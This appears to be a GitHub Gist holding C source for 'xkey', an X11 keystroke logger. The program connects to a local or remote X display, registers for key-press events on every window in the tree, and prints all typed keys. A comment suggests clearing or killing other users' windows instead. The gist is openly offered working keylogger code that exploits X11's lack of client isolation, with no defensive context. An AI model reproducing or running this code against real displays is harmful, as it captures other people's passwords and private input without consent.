Created
September 23, 2016 10:13
-
-
Save KbaHaxor/66b7f91b40bc4d68f0811b58016b5b34 to your computer and use it in GitHub Desktop.
xkey
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <X11/X.h> | |
#include <X11/Xlib.h> | |
#include <X11/Intrinsic.h> | |
#include <X11/StringDefs.h> | |
#include <X11/Xutil.h> | |
#include <X11/Shell.h> | |
char *TranslateKeyCode(XEvent *ev); | |
Display *d; | |
void snoop_all_windows(Window root, unsigned long type) | |
{ | |
static int level = 0; | |
Window parent, *children, *child2; | |
unsigned int nchildren; | |
int stat, i,j,k; | |
level++; | |
stat = XQueryTree(d, root, &root, &parent, &children, &nchildren); | |
if (stat == FALSE) | |
{ | |
fprintf(stderr, "Can't query window tree...\n"); | |
return; | |
} | |
if (nchildren == 0) | |
return; | |
/* For a more drastic inidication of the problem being exploited | |
* here, you can change these calls to XSelectInput() to something | |
* like XClearWindow(d, children[i]) or if you want to be real | |
* nasty, do XKillWindow(d, children[i]). Of course if you do that, | |
* then you'll want to remove the loop in main(). | |
* | |
* The whole point of this exercise being that I shouldn't be | |
* allowed to manipulate resources which do not belong to me. | |
*/ | |
XSelectInput(d, root, type); | |
for(i=0; i < nchildren; i++) | |
{ | |
XSelectInput(d, children[i], type); | |
snoop_all_windows(children[i], type); | |
} | |
XFree((char *)children); | |
} | |
void main(int argc, char **argv) | |
{ | |
char *hostname; | |
char *string; | |
XEvent xev; | |
int count = 0; | |
if (argv[1] == NULL) | |
hostname = ":0"; | |
else | |
hostname = argv[1]; | |
d = XOpenDisplay(hostname); | |
if (d == NULL) | |
{ | |
fprintf(stderr, "Blah, can't open display: %s\n", hostname); | |
exit(10); | |
} | |
snoop_all_windows(DefaultRootWindow(d), KeyPressMask); | |
while(1) | |
{ | |
XNextEvent(d, &xev); | |
string = TranslateKeyCode(&xev); | |
if (string == NULL) | |
continue; | |
if (*string == '\r') | |
printf("\n"); | |
else if (strlen(string) == 1) | |
printf("%s", string); | |
else | |
printf("<<%s>>", string); | |
fflush(stdout); | |
} | |
} | |
#define KEY_BUFF_SIZE 256 | |
static char key_buff[KEY_BUFF_SIZE]; | |
char *TranslateKeyCode(XEvent *ev) | |
{ | |
int count; | |
char *tmp; | |
KeySym ks; | |
if (ev) | |
{ | |
count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL); | |
key_buff[count] = '\0'; | |
if (count == 0) | |
{ | |
tmp = XKeysymToString(ks); | |
if (tmp) | |
strcpy(key_buff, tmp); | |
else | |
strcpy(key_buff, ""); | |
} | |
return key_buff; | |
} | |
else | |
return NULL; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment